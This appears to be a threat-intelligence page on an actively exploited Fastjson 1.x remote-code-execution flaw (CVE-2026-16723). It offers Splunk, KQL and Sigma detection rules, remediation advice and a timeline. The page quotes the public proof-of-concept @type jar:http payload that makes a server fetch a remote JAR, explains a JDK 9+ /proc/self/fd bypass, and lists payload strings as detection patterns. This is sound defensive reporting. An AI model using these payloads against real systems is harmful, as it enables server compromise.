Fastjson 1.x Gadget-Free RCE (CVE-2026-16723 / ThreatBook XVE-2026-39684) Under Active Exploitation

Key facts for Fastjson 1.x gadget-free RCE

Detection coverage for Fastjson 1.x gadget-free RCE

As of 2026-11-05, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-5322 across Splunk SPL, Microsoft KQL and Sigma, covering 7 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: Fastjson CVE-2026-16723 jar: URL @type Payload in WAF Request Logs — Exploitation

Detects Fastjson 1.2.68-1.2.83 gadget-free RCE attempts (CVE-2026-16723 / XVE-2026-39684, T1190) where an attacker-supplied @type value is a jar: URL class name. Covers the jar:http:.. remote JAR fetch variant, the jar:file:. variant, generic jar: or URL-encoded forms, and \uXXXX-escaped @type evasion (T1027), using ThreatBook's published exact-match strings. Fires on request bodies logged by a WAF.

• Languages: Splunk SPL, Microsoft KQL, Sigma
• ATT&CK: T1190, T1027
• Data sources: waf:modsecurity, CommonSecurityLog, webserver_logs
• Severity: critical
• Confidence: high

Splunk SPL

index=waf sourcetype=modsecurity earliest=-24h
| eval body=lower(coalesce(request_body, uri_query, _raw))
| eval variant=case(match(body, "@type.{1,6}jar:http:[.]{2}"), "jar_http_remote_fetch", match(body, "@type.{1,6}jar:file:[.]"), "jar_file_fd_stage2", match(body, "@type.{1,12}jar(:|%3a)"), "jar_url_generic", match(body, "u0040(type|u0074)|u006au0061u0072|u0074u0079u0070u0065"), "unicode_escaped_type")
| where isnotnull(variant)
| eval src_ip=coalesce(src, src_ip, clientip), dest_host=coalesce(dest, host)
| stats count AS attempts values(variant) AS variants min(_time) AS first_seen max(_time) AS last_seen BY src_ip dest_host
| convert ctime(first_seen) ctime(last_seen)

Microsoft KQL

CommonSecurityLog
| where TimeGenerated > ago(24h)
| extend Payload = tolower(strcat(RequestURL, ' ', Message, ' ', tostring(AdditionalExtensions)))
| where Payload matches regex '@type.{1,12}jar(:|%3a)' or Payload matches regex 'u0040(type|u0074)|u006au0061u0072|u0074u0079u0070u0065'
| extend Variant = case(Payload matches regex '@type.{1,6}jar:http:[.]{2}', 'jar_http_remote_fetch', Payload matches regex '@type.{1,6}jar:file:[.]', 'jar_file_fd_stage2', Payload matches regex '@type.{1,12}jar(:|%3a)', 'jar_url_generic', 'unicode_escaped_type')
| project TimeGenerated, DeviceVendor, SourceIP, DestinationHostName, DestinationIP, RequestURL, RequestClientApplication, Variant

Sigma

title: Fastjson 1.x CVE-2026-16723 jar URL Type Resolution Payload in Web Request
id: 5f0c2a8e-3b71-4d6a-9c14-7e2d8a1b6f30
status: experimental
description: Detects Fastjson @type values that use jar-scheme URL class names (jar:http:.. remote JAR fetch and jar:file:. variants), including URL-encoded and unicode-escaped forms, in web request query strings. POST bodies require a WAF or body-logging source.
references:
    - https://threatbook.io/blog/fastjson-rce-1.2.83-active-exploitation-detected-detection-mitigation
    - https://nvd.nist.gov/vuln/detail/CVE-2026-16723
author: AII-Detector — ThreadLinqs Intelligence
date: 2026-11-05
tags:
    - attack.initial-access
    - attack.t1190
    - attack.defense-evasion
    - attack.t1027
    - cve.2026-16723
logsource:
    category: webserver
detection:
    selection_plain:
        cs-uri-query|contains:
            - '@type":"jar:'
            - '@type%22%3A%22jar%3A'
            - '%40type%22%3A%22jar%3A'
    selection_escaped:
        cs-uri-query|contains:
            - 'u0040type'
            - 'u006au0061u0072'
    condition: 1 of selection_*
falsepositives:
    - Security scanners or authorized penetration tests replaying the public PoC
    - Vulnerability research traffic against test applications
level: high

Known false positives:

• Authorized vulnerability scans or red-team exercises replaying the public Fastjson PoC
• Security training or documentation pages that echo @type jar: strings in logged request bodies

Tuning notes: Replace index=waf / sourcetype=modsecurity with your WAF or reverse-proxy body-logging source and map request_body to your field name. Exclude scanner source IPs via an allowlist lookup. Enable request-body logging for application/json on Java-backed endpoints or the rule will not see POST payloads.

• 🔒 Fastjson CVE-2026-16723 Mass Exploitation / Scanning of jar: @type Payloads · unlock with TL Creds
• 🔒 Java Fat-Jar Process Writing JSP Web Shell or Staged Payload (CVE-2026-16723 Persistence) · unlock with TL Creds
• 🔒 Java Fat-Jar Rare Outbound Connection on Non-Standard Port (CVE-2026-16723 Callback) · unlock with TL Creds
• 🔒 Fastjson CVE-2026-16723 JDK 9+ Stage-Two /proc/self/fd jar:file Payload · unlock with TL Creds
• 🔒 JVM Creating [indicator] from Remote JAR Download (Fastjson CVE-2026-16723) · unlock with TL Creds
• 🔒 Java Process Spawning Reverse Shell or Pipe-to-Shell Command (CVE-2026-16723) · unlock with TL Creds
• 🔒 Spring Boot Fat-Jar JVM Spawning Shell or Downloader (Fastjson CVE-2026-16723 Post-Exploitation) · unlock with TL Creds
• 🔒 Java Client Fetching JAR/ZIP Archive from External Host (CVE-2026-16723 Remote Class Loading) · unlock with TL Creds

Indicators of compromise for Fastjson 1.x gadget-free RCE

As of 2026-11-05, Threadlinqs Intelligence tracks 7 indicators of compromise for TL-2026-5322.

How Fastjson 1.x gadget-free RCE works

Fastjson is Alibaba's widely used Java JSON library. Versions 1.2.68 through 1.2.83 (the last 1.x release) contain a type-resolution flaw in ParserConfig.checkAutoType(): every attacker-supplied @type value is processed before AutoType flags or type bindings are consulted. The class name has '.' replaced with '/' and is passed to defaultClassLoader.getResourceAsStream(). In Spring Boot executable fat-jars (launched with java -jar), LaunchedURLClassLoader routes 'jar:' classpath specs through URLClassLoader.getResource(); an absolute spec such as jar:http://attacker:port/x!/POC.class causes the application to download a remote JAR (SSRF / remote resource fetch). Fastjson then scans the fetched class with an ASM ClassReader for an @JSONType annotation and, if present, loads the class via TypeUtils.loadClass(), executing its static initializer (<clinit>) and returning before any type-binding validation. The result is code execution under default configuration with AutoType off and no classpath gadget, and it survives type-bound calls such as parseObject(body, Dto.class). Vulnerable entry points are JSON.parse(), JSON.parseObject(String) and JSON.parseObject(String, Class).

In the public PoC shape, dots are used in place of '://' (for example {"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}), with an integer IP literal to avoid dot mangling and '!' as the jar separator. This is fully reproducible on JDK 8. On JDK 9-25 the '://' in the class name is rejected, but a two-stage bypass restores RCE: the first request makes the JVM download the remote JAR to a /tmp/jar_cache<random>.tmp file that stays open via a file descriptor, and a second request references it through /proc/self/fd/N (e.g. jar:file:.proc.self.fd.11!.E11). Upgrading the JDK therefore does not mitigate the flaw. Researchers observe a ClassCastException after execution when the loaded class is cast to the expected DTO. WAF pattern matching can be evaded with \uXXXX escapes unless payloads are normalized first. ThreatBook's published exact-match block strings are '@type":"jar:file:.' and '@type":"jar:http:..'; its own testing reproduced the jar:http method on Spring Boot embedded Tomcat (remote JAR fetch/SSRF) and on a Spring Boot FatJar on JDK 8, and reported the jar:file method as not affected in the tested scenarios.

Exploitation conditions reported: Fastjson 1.2.68-1.2.83, a Spring Boot executable fat-jar (confirmed on Spring Boot 2.x/3.x/4.x with JDK 8/11/17/21), a network path delivering attacker-controlled JSON to a vulnerable parser, and SafeMode left at its disabled default. Plain non-fat JARs, generic uber-JARs, Tomcat/Jetty WAR deployments, Fastjson 1.2.60 and earlier, and all Fastjson 2.x are reported as not affected. The finder is Kirill Firsov of FearsOff Cybersecurity. Alibaba published its advisory on 2026-07-21; the CVE record (CVSS 3.1 base 9.0, CWE-20 and CWE-502) was published 2026-07-23. ThreatBook TDP added detection around 2026-07-20 and confirmed in-the-wild exploitation by 2026-07-22; the ThreatBook article was updated 2026-10-26. Imperva reports attacks on business, computing, financial services, healthcare and retail organizations mostly in the US, with some in Singapore and Canada; most traffic came from browser-impersonating clients and about 30% from Ruby- and Go-based tooling. No confirmed breaches, attacker IPs, domains or hashes have been published. CISA-ADP marked exploitation as 'none' on 2026-07-23 and the flaw was not in the CISA KEV catalog as of reporting on 2026-07-25.

Patch status is inconsistent across sources. As fetched, the Alibaba advisory wiki lists 'fixed in fastjson 1.2.84', while CSA, THN and ThreatBook state no patched 1.x build existed as of 2026-07-25 and 1.2.83 remained the latest 1.x release. Defenders should verify Maven Central for the current state rather than assume a fix, and should rely on SafeMode, the 1.2.83_noneautotype build, egress restriction, or migration to Fastjson 2.x. The hunt skeleton's severity (CRITICAL) is analyst-assigned; the CVSS 9.0 value was assigned by Alibaba as CNA. No threat actor has been attributed.

MITRE ATT&CK techniques by tactic:

Defense Evasion

T1027 Obfuscated Files or Information

Execution

T1059 Command and Scripting Interpreter

Initial Access

T1190 Exploit Public-Facing Application

Persistence

T1505.003 Server Software Component: Web Shell

Resource Development

T1588.006 Vulnerabilities

Reconnaissance

T1595.002 Active Scanning: Vulnerability Scanning

Remediation for Fastjson 1.x gadget-free RCE

Patches

• Alibaba advisory lists fixed version 1.2.84 for the 1.x line; other sources state no patched 1.x release existed as of 2026-07-25 - verify availability before relying on it
• Interim restricted build: com.alibaba:fastjson:1.2.83_noneautotype

Immediate actions

• Enable Fastjson SafeMode: -Dfastjson.parser.safeMode=true, ParserConfig.getGlobalInstance().setSafeMode(true), or fastjson.parser.safeMode=true in config
• Block payload strings @type":"jar:file:. and @type":"jar:http:.. at WAF/IPS, normalizing \uXXXX escapes before matching
• Restrict outbound egress from Java application servers to untrusted hosts to prevent remote JAR fetch
• Inventory Java apps using Fastjson 1.2.68-1.2.83, prioritizing Spring Boot executable fat-jars
• Hunt for @type values containing jar:, '!' separators, '..' sequences or integer IP literals in request logs

Workarounds

• SafeMode globally disables @type handling before the resource probe phase
• Repackage away from Spring Boot executable fat-jar (plain JAR/WAR deployments reported unaffected) only after validating with the vendor guidance

Longer-term hardening

• Migrate from Fastjson 1.x to Fastjson 2.x, which is reported as not affected
• Deploy EDR/runtime monitoring for unexpected child processes and outbound connections from JVM services
• Do not rely on JDK upgrades as a control; the bypass works on JDK 9-25

Affected and fixed versions

• Alibaba — Fastjson (com.alibaba:fastjson, 1.x)
  Vulnerable versions: 1.2.68 through 1.2.83 (ThreatBook states <=1.2.83)
  Fixed in: 1.2.84 per Alibaba advisory (disputed: other sources report no patched 1.x release as of 2026-07-25); Fastjson 2.x not affected

Timeline of Fastjson 1.x gadget-free RCE

• 2026-07-20 ThreatBook TDP adds detection for the Fastjson RCE (detection ID S3100181015, rule version 20260720000000); some secondary reporting places this on 2026-07-18
• 2026-07-21 Alibaba publishes a critical advisory for fastjson 1.2.68-1.2.83, crediting Kirill Firsov of FearsOff Cybersecurity; a public PoC is reported to be released the same day
• 2026-07-22 ThreatBook publishes its analysis and confirms in-the-wild exploitation of the flaw (XVE-2026-39684) captured by TDP
• 2026-07-23 CVE-2026-16723 is reserved and published (CVSS 3.1 9.0, CWE-20/CWE-502); CISA-ADP marks exploitation as 'none'
• 2026-07-25 Reporting states no patched Fastjson 1.x build exists, with 1.2.83 the latest 1.x release; Imperva-observed attacks target US business, computing, financial, healthcare and retail organizations plus some in Singapore and Canada; flaw not in CISA KEV
• 2026-07-29 Alibaba's advisory is updated; its text lists fastjson 1.2.84 as the fixed version, SafeMode and the noneautotype build as mitigations
• 2026-10-26 ThreatBook updates its Fastjson RCE detection and mitigation article

Sources cited for Fastjson 1.x gadget-free RCE

• Security Advisory: Remote Code Execution in fastjson 1.2.68-1.2.83 (Alibaba fastjson2 wiki) GitHub · Advisory · 2026-07-21
• CVE-2026-16723 CVE record (MITRE CVE Services) MITRE · Advisory · 2026-07-23
• NVD - CVE-2026-16723 NVD (NIST) · Advisory · 2026-07-23
• Fastjson RCE (<=1.2.83): Active Exploitation Detected - Detection & Mitigation threatbook.io · Vendor report · 2026-07-22
• Patched Fastjson Still Has a Gadget-Free RCE: A Source-Level Walkthrough (Miggo) miggo.io · Research
• CSA Research Note: Fastjson 1.x Zero-Patch RCE (CVE-2026-16723) labs.cloudsecurityalliance.org · Research · 2026-07-29
• FastJson 1.x's Parting Gift: An Unpatched, Unauthenticated RCE (Hive Pro) hivepro.com · Research
• CVE-2026-16723 Fastjson 1.x RCE (Aviatrix Threat Research Center) aviatrix.ai · Research
• Fastjson 1.x RCE Vulnerability Targeted in Attacks (The Hacker News) The Hacker News · News
• Unpatched Fastjson Vulnerability Exploited in Attacks (SecurityWeek) SecurityWeek · News

More in vulnerability

• Scans for Cisco IOS XE Web UI Vulnerability (CVE-2023-20198) with RootEvidence Opt-Out Headers
• OpenSSH on musl libc (Alpine Linux) authentication bypass via overly long password ("*sshole")
• Apache OFBiz Pre-Auth RCE (CVE-2026-68524) and Account Takeover (CVE-2026-109928) Patched in 24.09.08
• ChatGPT Lockdown Mode Bypass via HTML Preview Nested Iframes Enables Phishing, Malware Delivery, and Silent Data Exfiltration
• Storm-2603 Fileless ToolShell Breach of On-Prem SharePoint (CVE-2025-53770 / CVE-2025-53771) with Warlock/LockBit Ransomware